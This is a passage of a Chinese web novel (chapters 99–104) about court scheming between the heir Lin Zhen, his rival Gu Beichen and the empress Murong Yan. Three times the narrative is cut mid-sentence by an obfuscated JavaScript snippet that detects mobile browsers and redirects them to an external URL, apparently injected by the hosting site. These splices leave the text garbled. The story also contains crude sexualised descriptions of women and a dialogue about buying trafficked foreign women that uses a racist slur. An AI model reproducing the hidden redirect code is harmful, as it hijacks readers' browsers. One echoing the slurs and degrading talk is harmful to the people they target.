且不论王铁男和林震仙同不同意光是胖子犯下的罪名也罪不至死。 林臻只是看不惯慕容嫣那装逼的态度而已故而出口相讥想要刺激她一番。 还杀胖子呢。 疯了吧? 装这个样子给谁看啊? 果然真要让慕容嫣下杀手的时候她竟出奇地冷静下来宛如寒潭止水波澜不惊。 其实她心里也知道王胖子肯定是杀不得的。 但必须要给予严厉的惩罚否则以后这京城的纨绔还不都反了天了? 慕容嫣略微放松了些靠在龙椅上伸出葱白的手指指着林臻眼睛说道:“林臻你少将朕的军。这件事情到底办你自己说!若是说得不好朕就要治你的罪!” “我” 不讲理啊。 慕容嫣真是越来越不讲理了。 如此想来方才那小太监也未必真有什么大错不过是慕容嫣心中烦闷寻了个由头拿他当了出气筒罢了。 这可难了。 若惩罚得太轻慕容嫣那关定是过不去的。可要是惩罚得太重胖子那干啥啥不行吃啥啥不剩的懒猪性子也承受不住啊。 怎么办呢 林臻急中生智几乎在瞬间就想出来个好主意。 “臣认为王胖子确实该罚不如陛下就将他发配至边疆以儆效尤吧?” “发配到哪?” 林臻心中几乎是条件反射地闪过“宁古塔”三字但现在宁古塔是人家鲜卑的地盘。 他微微侧首目光在顾北辰那得意的面容上停留片刻嘴角勾起一抹诡谲的笑意:“不如就让胖子去清河县戍边吧 慕容嫣慕容嫣闻言轻轻颔首:“唔这倒是个不错的法子。” 林臻的眼中闪烁着玩味的光芒转而看向顾北辰语气中带着几分探究与戏谑:“顾兄以为如何呢?” 顾北辰根本就猜不到林臻是什么路数他只是隐隐透过林臻的表情觉得事情哪里有些不对但又说不出来所以也不敢冒然答应。 慕容嫣轻轻掠了顾北辰一眼。 她可没忘记这封奏折递上来的时候他那奸诈而又期待的表情。 “既然顾院判也没意见那就这么办吧。” “陛下.”顾北辰急忙开口:“臣觉得不妥。” 使出反常必有妖。 即便不知道林臻想干什么但阻止他肯定没错! 以后只要是林臻的建议都必须阻止! 慕容嫣不悦地蹙眉清冷的声音中带着一丝不耐烦:“何处不妥?” 顾北辰说道:“清河县虽说是戍边但那里风和日 丽根本起不到惩罚的作用,况且王蓬此人野心勃勃,若至彼处,难免不会借机拥兵自重,形成尾大不掉之势。还请陛下三思。” 慕容嫣的语气愈发不悦:“那你说怎么办。” 刚才问你,你不说话,朕都要做决定了你又出言阻拦,什么毛病。 顾北辰想了想,随即对林臻露出一个狞笑:“辽东以东, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789232|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一城,名为玄菟(沈阳),此城与鲜卑、突厥接壤。这马上就是秋天了,游牧民族的人难保不会来打秋风,臣以为派他去戍边,正合适。” 嘶. 闻言,就连慕容嫣都不由倒吸一口凉气,暗叹顾北辰的心狠手辣。 玄菟可是大乾疆域的最东端,环境恶劣,气候苦寒,人迹罕至。 通常来说,若是有官员被贬谪至此,那就和死刑没区别。 几乎没有哪个官员能在这里生活超过三年。 而顾北辰让笨手笨脚什么也不会的王胖子去玄菟戍边,这不是让他去送死么。 “林臻,你认为呢?” “陛下,臣万万不同意!”林臻赶紧表现出急切的样子,实则心里都乐开花了。 他本以为顾北辰会选个承德、凌源之类的北境,虽然也算苦寒,但毕竟离京城近些。 却没想到他竟然直接把王胖子这种天不怕地不怕的人派到玄菟去戍边! 那周围的游牧民族们可惨了啊! 搞不好三个月就能统一外东北. 届时这天大的功劳,得有自己一半啊。 牛逼! 神助攻! 不过,此刻的窃喜是绝对不能表现在脸上的,否则顾北辰肯定反悔。 林臻再度施展起他那堪比小金人般的精湛演技,悲从中来,哀嚎道:““陛下啊!那玄菟之地,实乃冰寒彻骨,荒凉偏远,人迹罕至。胖子过去必死无疑啊!” 顾北辰得意扬扬地看着林臻,尤其享受在揭穿他那小小伎俩后,恼羞成怒的样子。 他嘴角勾起一抹玩味的笑,缓缓言道:“世子大人~若非如此苦寒,又怎能彰显其震慑四方之效?还请陛下圣裁,莫让此事再拖延。” “顾北辰,你这分明是以权谋私,公报私仇!胖子的罪名根本达不到去玄菟戍边的地步!” 慕容嫣现在是更偏向林臻一些,然而王胖子所行之径实属恶劣至极,若不施以严惩,往后这浩瀚帝国,何以立威?何以安邦? 林臻正欲再言,却被慕容嫣轻轻抬手制止,她语声清冷中带着不容置疑的决断:“罢了,林臻,此番是王胖子咎由自取,休要再提朕偏袒谁。即刻拟旨,命王蓬即刻起程,赴玄菟担任折冲校尉一职,非有诏命,不得擅自返回京师。” “遵旨。”慕容无舌闻言,连忙应声,随即匆匆步入后堂拟旨。 “唉。”林臻假模假样地叹了口气,表情十分悲惨。 顾北辰看到后更是笑得合不拢嘴。 他奶奶的,该死的林臻,终于让老子扳回一局! 第100章 何人竟如此低俗! 顾北辰毫不客气地在慕容嫣面前双手抱肩,扬起下巴,用鼻孔狠狠剜了一眼林臻。 这副奸计得逞的表情,突然让林臻想起个成语。 小人得志。 真是可怜啊。 顾北辰向来自视甚高,目空一切。如今却为了一次微不足道的胜利,展露出如此姿态。 况且他还没赢。 可见自己之前对他的打击与羞辱,到了一定地步.导致他稍有胜利会是这个样子。 没错,在林臻看来,其实是他自己赢了,而顾北辰却败得一塌糊涂。 胖子大闹喇嘛庙这件事本就理亏,别人若拿此事来做文章,王家也注定要打碎牙往肚子里咽地,没有任何还手的余地。 除非天公作美,降下奇迹,否则无人能改写这既定的结局。 然而世事无常,冥冥之中自有天意。 正是顾北辰不经意的神助攻,促使胖子前往玄菟戍边。 此番变故,于林家与王家而言非但不是祸端,反倒是暗含转机。 只要胖子能一如既往地按照他那傻逼性子办事,外东北纳入大乾版图就是时间问题了。 而且林臻也不认为胖子会改。 他要是能改掉那些恶习,就不至于混到今天还是个校尉官职。 开疆拓土的功劳啊,林臻想想都觉得激动。 慕容无舌双手恭谨地捧着那道沉甸甸的圣旨,步履匆匆地出门而去。 此刻,顾北辰的目光不经意间掠过林臻,发现他正在看着自己。 那双眼眸里,交织着淡淡的怜悯与不易察觉的嘲意,仿佛藏着千言万语,却又一言不发。 什么意思? 还嫌事不够大? 既然如此,那我就再给你加加温。 让你在陛下心中的形象,瞬间跌入谷底! 我要让你知道,整个大乾就只有我一个人有资格陪在陛下身边,而你个不学无术的纨绔只配在燕来楼里草鸡。 顾北辰的嘴角忽地勾起一抹意味深长的轻笑,眸光闪烁间,带着几分戏谑地转向了林臻,随后缓缓对慕容嫣言道:“陛下,最近京城还发生了一件事情,不知道您听说了没?” 慕容嫣的声音里不由自主地带上了一丝警觉:“何事?” 顾北辰的目光在林臻身上绕了个圈,阴阳怪气地说道:“工部侍郎廉强的儿子,昨夜被人杀了。” “什么?!”慕容嫣闻言,秀眉紧蹙,一双明眸瞪得溜圆,胸脯瞬间涨大好几倍。 林臻 站在她旁边几乎是眼睁睁看着她的胸直接撞到了案几上随后又弹了回去。 饿滴个神神这么瘦的女人怎么会有这么大的胸啊? 这若是把脸埋进去 嘶.低俗太低俗了。 顾北辰则是一直在观察林臻的反应所以并没有注意到。 一旦看到慕容嫣的身份将彻底暴露。 慕容嫣也注意到了自己的裹胸扣子开了几颗她担心会撑爆所以愣在原位缓了好几秒这才语气中满是震惊的问道:“何人竟如此大胆!?” 顾北辰问林臻语气中多了几分玩味:“不知道林世子可听说这件事情?” 林臻神色淡然轻轻颔首:“听说了。” “哦?””顾北辰嘴角控制不住的上扬再次露出那奸计得逞的表情道:“那你说说是何人所为啊?” 林臻就像看跳梁小丑似的看着他。 自己以前真是太把这个原书主角当回事了。该死的狗作者把顾北辰描述得如何如何霸道总裁如何如何有手段搞得自己还真以为他有什么惊世才华所以处处小心做局生怕掉坑。 闹了半天他就只有这点城府。 逮着个机会就大肆进攻生怕慢一步就被化解。 他也不了解了解背后隐情。 我要是没这两下子敢带兵夜闯工部侍郎家? 顾头不顾腚顾北不顾南难怪叫顾北辰呢。 慕容嫣略有鼓励性质地看向林臻:“林臻知道什么就说出来。” 林臻面容坦荡毫无畏惧地回禀:“回陛下杀廉松的不是别人正是臣。” “你说什么!” 慕容嫣的声音里满是震惊她万未料到刚刚帮助她击溃楚国使团的林臻竟做出这等事情不禁怒拍龙案 林臻神色平静不急不缓地道:“陛下息怒廉松此人作恶多端死有余辜。” “荒谬!”慕容嫣怒不可遏根本不愿听他辩解。 “就算廉松恶行滔天自有大理寺与刑部依法严惩岂容你滥用私行说杀就杀?” “陛下当时情况危急臣是失手将他打死的。不过臣认为此举乃是替天行道为民除害并无过错。” “不见的吧~”顾北辰再次阴阳怪气地歪着嘴说道:“我可是听说廉松的脑瓜子都被世子给割了下来这能是失手打死?不仅如此世子还带兵夜闯廉府威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789233|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胁朝 廷命官不许张扬,否则就杀人家全家。” “难怪廉强在朝堂之上缄口不言!”慕容嫣粉拳紧握,娇躯因愤慨而轻轻颤抖,声音里夹杂着难以压抑的怒火:“林臻,你好大的胆子!你真以为这大乾是你林家的了?” 林臻闻言轻轻叹了口气,满是无奈与深沉:“唉。陛下,您听臣说一句,再发怒也不迟。” 言罢他缓缓抬头,目光恰与顾北辰那抹玩味的眼神交汇。 然而,就在这一瞬,顾北辰竟在林臻的眼底捕捉到了一丝难以名状的蔑视与深深的失望。 这种感觉很不好,如同寒冰刺骨,令他心中莫名一紧。 林臻缓缓收回目光,重新看向慕容嫣。 “陛下,廉强溺爱儿子,导致这廉松在京中肆意妄为,无恶不作。民间对他已是怨声四起,几乎到了人人喊打的地步。臣本不愿意多管闲事,可就在昨天,他竟然醉酒后闯入我小妾开的酒楼里,想要行不轨之事!若非臣去得及时,恐怕.恐怕我的爱妾已遭毒手。” 林臻眼睛里居然有泪花闪动。但转瞬之间,那份柔和便被决绝与狠辣所取代,他嗓音低沉而坚决地说道: “臣一时激愤,这才将他打死。不过据臣所知,廉松在京城的恶行远不止于此。他曾先后对六名无辜百姓家的女子施行强暴,其中四人因不堪屈辱投井自尽,另有两名女子不幸受孕,可为了腹中孩子只能选择苟活。” “廉松起初以重金诱惑,妄图收买她们俩。可就在她们拿钱准备离开京城时,廉松竟派爪牙,将那两名怀胎的女子在半路截杀!” “陛下啊!”林臻哭嚎一声,吓得慕容嫣险些从龙椅上跳起来。 “那两名女子,一个怀胎三月,一个怀胎七月!都是豆蔻年华!廉松就这么将她们残忍杀害,事后还焚尸灭迹。此等行径,悖逆天理,人神共弃,实乃世间难容之恶!” “而这一切,仅是臣所能查到的冰山一角。试想,在那些臣未曾触及的阴暗角落,廉松究竟还犯下了多少令人发指的罪行?这京城之中,又隐藏着多少他留下的血泪与冤魂?” “除此以外,廉松肆意妄为,强取豪夺,经常在青楼里吃喝嫖赌却分文不给,掌柜敢怒不敢言。早上去集市,对百姓家的东西也是说拿就拿,说抢就抢。百姓不给便要遭到殴打!” “陛下,如此这般目无王法,搞得大乾民间怨声载道的人,难道不该杀吗?” 第101章 你哪来的小妾? 林臻像个演说家似的,将一段话说得慷慨激昂,字字铿锵,仿佛是一位正义的使者,将民众的愤怒与不公十分有感染力地呈现在慕容嫣面前。 慕容嫣闻罢,怒气冲冠,一拳重重砸在龙案之上,震得案上笔墨弹跳:“大乾竟有这等败类!好,杀得好!这廉松确实该杀! “陛下! “林臻所言,不过是他个人的一面之词,您万万不能轻信他啊!据臣所知,廉松此人性情温和,对父母极为孝顺,在家中对兄弟姐妹更是呵护有加。在朝中他声誉卓著,深受同僚们的尊敬与喜欢。这样的好人,怎么在林臻口中就成了十恶不赦的坏人了呢!? 慕容嫣的目光转而投向林臻:“林臻,刚刚这些话你有证据吗? “有!我那受伤的小妾,便是最有力的证明。 顾北辰当即破口大骂:“放屁!你TM刚结婚几天啊?哪来的小妾? “顾院判,注意你的言辞。 见慕容嫣的面色阴沉如水,顾北辰心中一凛,连忙俯身请罪, “陛下,臣知罪。可是林臻的话简直一派胡言!即便廉松或有失当之处,但他父亲可是我朝两代老臣,一生清正不阿,对国忠诚,对陛下更是忠心可鉴!如此高风亮节之家,怎能教养出那般子弟?微臣实难置信! 林臻看向顾北辰,眼里竟流露出几分震惊! 他难以置信地看着顾北辰:“顾院判,你知不知道因为你的这句话,廉家大祸临头了? “哼,你少来,我不吃你那一套!身正不怕影子斜,廉强此人我最是了解,绝不可能教育出作恶多端的儿子来! 林臻点点头。 好啊。 神队友啊。 去摄政王府抢亲,结果让家族赔了几十万两白银;因为争风吃醋,导致整个顾家经济崩溃;如今为了扎自己一刀,竟然连跟着顾家几十年的队友都能出卖。 谁TM要是跟你组队,可真是倒了八辈子的霉。 慕容嫣微微颔首,沉思片刻后,竟觉顾北辰之言不无道理。 遂将目光投向林臻,眼神中带着几分审视:“林臻,虽说子不教父之过,但廉强是先帝重点栽培的老臣,其声誉岂可轻易玷污?你须字字属实,不可妄言。 “唉。林臻叹了口气。 廉强啊廉强,不是我不帮你,而是你的队友要杀你。 顾北辰今天是不杀你不罢休啊! 林臻说道:“顾院判说廉侍郎清正廉洁,臣不敢苟同。昨夜臣去他家里的时候,可是着实震撼了一把。区区一个侍郎家,在京城中竟然有占地八十余亩的宅院,其内装饰之奢华,园林之精妙,真真是巧夺天工,令人叹为观止。即便与皇宫相比,也不遑多让。 言罢,林臻看向顾北辰,语气中戏谑更浓:“这难道就是顾院判口中的清正廉洁吗? “我顾北辰竟一时语塞。 慕容嫣对八十亩地并无太多直观感受,但听林臻如此描述,也不禁暗暗咋舌。 尤其是听林臻说,一个侍郎的府邸居然比皇宫都不遑多让,这如何能行? 且不说越制不越制,你哪来的钱啊? 慕容嫣已经暗自确定了几分,但仍轻声向林臻确认道:“林臻,你确定所言都是事实? 林臻回答道:“陛下明鉴,廉家就在城里,您若不信,大可派人前往探察,或者您心情好的话也可以亲自去一趟。微臣斗胆一言,与之宅邸的奢华相比,皇宫难免稍逊一筹。 慕容嫣闻言,眸光一闪,即刻向立于一侧的嬛嬛递去一个眼神。 嬛嬛心领神会,悄然绕过屏风,消失不见。 估计是安排人手去调查了。 直到现在顾北辰才反应过来。 奶奶的,只顾着对林臻穷追猛打,竟然忘了这小子去过廉家,还见到了廉强本人。 慕容嫣对廉松之死本就无甚怜悯,不过是遵循国法家规,对林臻的所作所为略有微词而已。 但现在自己无意间提及了廉强,就是彻彻底底的引火上身啊! 还是把林臻身上的火引到了自己身上。 现在慕容嫣根本就不在乎林臻杀人的事情了,她要开始调查廉家! 完了。 廉家肯定是要完了! 真是言多必失啊! 顾北辰只觉浑身冰凉,恨不得抽自己两个大嘴巴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789234|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他都不敢想象廉强在知道这件事情后会进行怎样的反扑,要知道临死之人可是什么事都干得出来。 一旦把顾家的老底给掀出来,那顾家也将万劫不复啊! 滴答。 一粒汗珠自他额间滑落,重重砸在地面上,那细微的声响在落针可闻的议政殿显得格外刺耳,引得慕容嫣与林臻不约而同地投来关注的目光。 顾北辰只觉一股寒气自脚底升起,沿着脊椎攀爬,令他浑身一颤,心中那份不安与恐惧愈发沉重。 慕容嫣冷笑着问道:“顾院判很热吗 ?” 顾北辰面色微窘。 “额,臣觉得有些不舒服,想回去休息。” “回去吧,趁朕还没有下旨之前,赶紧安排安排。”慕容嫣的话语里充满了对他的不满,也充斥着戏谑。 顾北辰艰难地咽了口唾沫,勉强挤出一丝笑意:“谢陛下。” 言罢,他不敢多做停留,匆匆行了礼,离开大殿。 林臻意味深长地看着慕容嫣。 突然发现,这娘们已经不是原书里一心喜欢顾北辰的傻白甜了,而是个真正手腕高明的帝王。 她已经察觉到顾北辰今天就是有意针对林臻的,她本不想多管,意欲稳坐钓鱼台看臣子打架。 然而,这场唇枪舌剑间竟无意牵扯出了廉家。 所有人都知道廉家与顾家十分交好,现在顾家把廉家卖了,肯定要给个说法。 慕容嫣心中虽对顾家已经心存芥蒂,但眼下林家兵权尚未到手,她不愿贸然与顾家撕破脸皮。 所以她给了顾北辰一个机会。 一个将功赎罪的机会。 如果顾北辰愿意要,那以后顾家还是会得到她的恩宠;但如果他们不要,反而百般阻挠百骑司调查,那慕容嫣也会毫不客气地再选一位大臣培养。 一个不能和她心连心的丞相,与林震仙无异,都是对皇家的威胁。 思考完这些,慕容嫣转头看向林臻,嘴角竟露出淡淡笑意。 只不过这个笑容在林臻看来是那么的诡异。 “林臻,今天的戏,演得不错啊。” 第102章 陛下,您多少有点不讲理啊 啊? 林臻不由得张大嘴巴,满脸的惊愕与不解。 难道说,我演戏不好被慕容嫣看出来了? 不可能吧 这娘们什么时候变得这么聪明了。 林臻心中狐疑,面上却故作茫然地道:“臣不懂陛下的意思。” “不懂?”慕容嫣露出一个尽在掌握的表情。 那神情似嗔非嗔,带着几分嬉戏的玩闹,显得格外俏皮而迷人。 只是她脸上画着男妆,整齐洁白的皓齿微露,水汪汪的杏眼轻轻一眨,恰有几分奶油小生看同性的风趣。 幸好林臻够直,才不至于陷入进去。 若是某个喜爱龙阳的家伙,肯定会忍不住亵玩。 “方才你又是掉眼泪又是咬牙切齿的,说到底,你不就是想让朕同情你,对廉松的死既往不咎吗?” 啊? 林臻闻言直接原地懵逼。 慕容嫣见状更是喜不自禁,嘴角勾勒出一抹倾城绝艳的弧度,美得令人窒息。 只听她笑道:“呵呵呵,些许微末伎俩也敢在朕的面前卖弄。不过嘛,这廉松也确实该死,这件事情朕姑且可以不计较,但是你也要答应朕一个条件。” 好家伙。 我TM直接好家伙。 原来慕容嫣早就反应过来了。 她之所以不当场拆穿,就是想借由此事和自己谈判,以换取她想得到的好处。 好心机,好算计啊! 城府深沉,令人叹为观止! 唉,林臻微微叹了口气。 算来算去,还是算丢了一成。 现在自己的小辫子已经被眼前这个女人牢牢攥在手里了,再想蒙混过关已是无望。 也罢,姑且听听她究竟有何说辞。 “请陛下赐示。” 慕容嫣眼中的狡诈一闪而过:“呵呵呵。朕知道你手里有五百虎贲营,这些人被你用来看赌场实在是屈才了,不如先借朕用用如何?” 就知道慕容嫣没安什么好心,原来是觊觎自己手里这点兵权。 她想干什么? 一点一点把兵权从林震仙手里抠走吗? 五百五百的抠,这得抠到什么时候? 一招臭棋。 林臻不屑的回应道:“陛下,虎贲营将士向来直属摄政王麾下,臣不过暂时借来用用而已,做不得主的。” “是么?”慕容嫣扬起声调,一副吃定林臻的样子:“好啊,那咱们就来谈谈你擅自处决朝廷命官这档子事吧。林 臻,你可知罪?” 这娘们到底要干什么啊? 虎贲营是绝对不可能给你的。 林臻牙关紧咬,每一个字都像是从牙缝中挤出:“臣知罪。” “好!现在朕赐你两条路走,一是交出五百虎贲营的兵权,二就是去大理寺自行谢罪,你自己选吧。” “我陛下,您多少有点不讲理啊,那五百人我真说了不算。”林臻面露难色,言辞中带着几分无奈与不甘。 “朕不管这些,两条路你只能选一个。”慕容嫣接过嬛嬛递上来的茶水,浅酌一口,神态悠然自得。 林臻心中天平摇摆不定,权衡着利弊。 虎贲营是绝不可能给出去的,这是底线。 兵权在林震仙手里,要比在慕容嫣这里安全得多。 可第二条路也不行,大理寺卿乃顾家心腹,一旦落入其手,即便侥幸不死也少不得一番皮肉之苦。 林臻最怕疼了。 慕容嫣见他还不说话,便催促道:“朕可没功夫陪你耗时间,赶紧选!” 林臻艰难地说道:“陛下,臣选第三条路行不行?” 慕容嫣闻言嘴角不禁勾起一抹狡黠的笑意,仿佛一切尽在掌握之中:“第三?第三是什么?说来听听。” 林臻咬咬牙。 看来不大出血是不行了。 大理寺那帮人的审讯手段他是见过的,骨头渣子都能砸出油花来,万一真落在他们手里,林家就只有造反了。 “微臣近日正筹备开设一间马车行,粗略估算,亦能有些许进项。不如,陛下掏钱入股吧。到时候我们一起按月分钱可好?” “哦?什么马车行?每个月能赚多少钱?” 林臻难能说真话啊? 他忙不迭地扯了个由头:“这买卖利润微薄,不过是小打小闹罢了,但能为宫中添上一笔额外进项,也是好的嘛。” “那朕需要掏多少钱入股呢?” 林臻大大咧咧比出三 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林臻闭上双眼,胸膛一时间不断起伏。 他奶奶的,上当了。 其实慕容嫣根本就没有要兵权的打算,因为她知道她根本要不来。 她真正的目的就是这个马车行,所以才故意以兵权为借口,设下这个套让林臻自己往里钻。 明修栈道暗度陈仓。 高明啊。 堂堂女帝,不好好享福,还看上兵法了。 林臻说道:“陛下,要不您也入股五百两银子,每个月拿五十两银子的分红吧。” 慕容嫣一听,当即蹙起绣眉:“每月五十两?你当朕是叫花子吗?少废话,朕要你收入的八成!” 八成!?? 林臻怒了:“你直接把我马车行抢走得了呗?” “放肆!林臻,你这就是君王说话的态度吗?” 林臻:“.” 林臻索性不说话了。 慕容嫣看他没了话,嘴角再次勾起冷笑:“呵,林臻,这次你别想讨价还价!若是不答应,现在就去大理寺领罚!” 第103章 嘶...够低俗! 慕容嫣态度十分坚决,林臻没办法,只有选择破釜沉舟了。 你不就是想要个马车行么,给你行不行? “陛下,这样吧。您把一千五百两银子退给我们,马车行我们不要了,你自己经营,这总行了吧? 慕容嫣未曾料到林臻竟会如此干脆利落地抽身而退,不禁微微一愣,有些意外的说道:“此话当真? “千真万确,五百匹战马臣愿无条件借给您,只求殿下能将我等先前的投资悉数归还。自此,马车行之事与我再无瓜葛。 “好!君子一言,驷马难追!你可不要反悔,哈哈哈哈。 据百骑司汇报上来的消息,林臻等人早已经把马车的一切都安排好了,自己可以直接派人招工,然后带出去载客就行,根本不用多操心。 区区一千五百两银子而已。 这点钱连五百匹战马都买不来,更别说是现成的马车行了。 届时不到半个月就能赚回来,而剩下的就全都是利润! 慕容嫣不禁已经开始幻想自己坐在金銮殿上数钱的样子了,若非是裹胸的扣子崩开几个,她真想酣畅淋漓地大笑一番! 而林臻看着她喜不自禁的样子,暗暗觉得有些好笑。 商场如战场。公司的运营之道、利润的巧妙分配、市场的敏锐洞察、民众心声的捕捉,乃至物价波动的微妙趋势,这些纷繁复杂的商业法则,哪一项都不是自幼沉浸于皇家礼仪与教条之中的慕容嫣所能轻易驾驭的。 即便此刻将马车行的经营权拱手相让,不出月余,她叮会哭着喊着,恳求自己重新入股。 因为这个东西,在她手里根本就赚不到钱,还会赔的连裤衩都不剩! 哦不对,慕容嫣不穿裤衩. 嘿嘿,嘿嘿嘿,嘿嘿嘿嘿。 不过,仅仅靠马车行来打脸,林臻觉得还是不够。 他得报刚才被算计的仇,所以他趁机说道:“陛下,既然马车行都给您了,您能否答应臣一个小小的请求呢? 慕容嫣就喜欢看林臻这副吃了瘪后又苦苦哀求自己的样子,她得意地说道:“看你这么懂事的份上,说吧。朕姑且听听,但是否应允还得看心情。 林臻偷摸翻了个白眼:“谢陛下。陛下可还记得以前顾家府上有个毛梦极? “你说可是当日带兵械斗的那个人?他又怎么了? “陛下有所不知,毛梦极此人很有才华,胸中更有忠君报国的热血。将 他贬为庶民,实属可惜。依臣之见,何不给他一个将功赎罪的机会,令其前往清河县戍边,以观其后效? 慕容嫣狐疑道:“林臻,你不会是在拉山头吧? “臣不敢,只是目睹这等英才被埋没于芸芸众生之中,心中实在痛惜不已,所以才恳求陛下给他个机会。 “呵,量你也没造反的胆子。 她是了解林震仙的。 只要那位军神不造反,林臻就是个在他羽翼下蹦跳的小雏,根本成不了气候。 一个名不经传的毛梦极而已,成全就成全了吧。 “罢了,就依你之意吧。 “多谢陛下! 都说越漂亮的女人就越会骗人。 林臻深以为然。 这次进宫不仅什么事儿都没办成,还把自己苦心经营好几天的马车行给抢走了。 奶奶的,敢抢我的产业,这次非赔死你不可! 走出宫门的时候林臻还有些愤愤不平,看着身后五辆骡车拉着的几口大箱子头疼不已。 慕容嫣很漂亮,身材好,气质好,出身好,这没说的。 可就算你什么都好,也不能给我拿二十箱铜钱吧? 你家银子都用来垒墙了吗? 这还不算完,等送到王府还得找人搬,搬完还得给宫里的马夫辛苦费,这里外里又亏不少。 倒不是说林臻小家子气。 其实他已经很有钱了,说是大乾现金王也不过分,但钱可不是这么花的。 正所谓骑自行车去嫖娼,该省省该花花嘛。 王府后门。 林臻的脸黑得像锅底,直接吩咐三蹦子摇人,把所有箱子都搬进了沁心园厢房里。 浣碧望着这突如其来的财富,心中未起波澜。 对她而言,世间万贯家财皆不及林臻那一抹温柔的浅笑更珍贵。 而晴雯这俏皮的丫头,却是另一番光景。 她见这满屋的金银,眼眸瞬间亮如星辰,喜悦之情溢于言表几乎要跳起来。 她欢快地奔 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嘴角勾起一抹无奈的笑意,正欲转身,却见晴雯踏着轻盈的步伐奔来,脸上绽放出灿烂的笑容,一排洁白整齐的牙齿在阳光下闪烁着动人的光泽,甜声说道:“世子!这些钱都交给奴婢打理好不好呀?” 晴雯的笑容,明媚而不失娇俏,林臻声音温和的点点头:“可以,但你必须记得,你只能动用五百两。” 晴雯闻言,顿时不乐意了,樱桃小嘴轻轻嘟起,宛如雨后娇嫩的花瓣,她拉着林臻的手摇来摇去,撒娇道:“为什么呀!浣碧都可以直接去账房支钱了,世子~您可不能厚此薄彼呀~” 说着居然还拽着林臻的手臂碰了碰自己胸前白兔。 嘶.够大,够低俗。 凭感觉应该和慕容嫣的差不多。 这小妮子真是愈发大胆了! “那一千两是别人的,所以你只能动五百两。不过本世子答应你,若是你将五百两利用得当,我便交给你个重要差事!” 晴雯眼冒精光:“真的嘛世子!” “你先松开我的手!” “哦~嘻嘻嘻嘻~” 林臻没好气的把手抽回来,上面还残存着淡淡奶香:“是真的,但前提是你这段时间不许非礼我!” 第104章 漂亮的嫂子居然不下蛋 “讨厌呀世子人家什么时候非礼你了!这大庭广众之下 林臻淡笑着望向离开的晴雯却并未追赶转而将目光温柔地投向了身旁同样情绪不佳的浣碧。 突然想起早上她也气鼓鼓的于是问道:“碧儿早上的时候到底怎么了?” “没怎么”浣碧闻言脸颊微微一侧避开林臻探寻的目光语气中带着几分不易察觉的倔强与羞涩。 林臻轻轻一笑眼中闪过一抹玩味:“真的没有?” “真的没有!”浣碧再次强调只是这次语气中带着些许动摇。 却没想到林臻居然不问了直接走向屋内:“那好吧我就当你没有赶紧让厨房做点东西来吃都饿死了。” 浣碧呆立当场望着那渐行渐远的背影粉拳不自觉地紧握。 (╯﹏╰) 啊啊啊啊! 可恶的世子你明明答应过我的呀! 怎么就忘了呢! 哼! 浣碧轻哼一声甩袖向厨房走去。 她发誓这一炷香内都不要再理林臻了。 不过须臾之间饭菜便被一一端上来林臻早上就没有吃饭此刻正饿得慌洗了手坐在餐桌前准备大快朵颐。 王府中的菜品并未因林臻那笔巨额赃款而有所奢靡反倒愈发显得质朴。 小白菜炖豆腐芹菜炒肉清蒸秋葵胡瓜炒鸡蛋外加冬瓜莲藕汤。 看起来是粗茶淡饭但实则甚好。 荤素相间营养搭配既养身又养心自己这副身子骨也确实不能再大鱼大肉、胡吃海塞了。 香喷喷的白米饭是今年的新米没有化肥没有科技所以产量低得吓人价格也很昂贵王府不可能买得起这些米应该都是林家在地方上的人脉送来的。 给大米饭上浇点菜汤林臻抱起海碗就是一顿猛吃。 浣碧虽然不愿意搭话还是主动上前来给他顺着后背生怕他噎着。 这时门外来了两名不速之客。 正所谓:人未到声先至。 和以前不同这哥俩今天讨论的是东北娘们如何如何。 只听胖子说道:“唉?德豪这城里有没有鲜卑的娘们啊?胖爷要去玄菟戍边了好歹得先尝尝咸淡啊。” “放心!城南异域花楼里什么娘们都有什么突厥的、鲜卑的、波斯的听 说这两天又从鲁迷(土耳其)人手里买来很多黑鬼呢!” “黑鬼?昆仑奴里还有娘们?” “对啊上次我还去看了一眼。我嘞个草!那娘们浑身上下除了牙以外全都是黑色的!现在被当成异域头牌专门伺候那些地方上来的客商。” “行一会儿等拜别了大哥咱俩就去看看他奶奶的胖爷非把未来十年的火气都撒了不可!” 随着纨绔间肮脏龌龊的对话两人走进门正赶着浣碧抱着换洗的衣服出去对他们眼睛不是眼睛鼻子不是鼻子的。 胖子还有些好奇一摸后脑勺:“诶?浣碧嫂子怎么了?” “不知道看着心情不太好估计来月事了吧?” “唉你说大哥也真是的。家里藏着这么漂亮的嫂子居然不下蛋。你说大哥是不是不行啊?” “很有可能你没发现他连燕来楼都不去了么。” 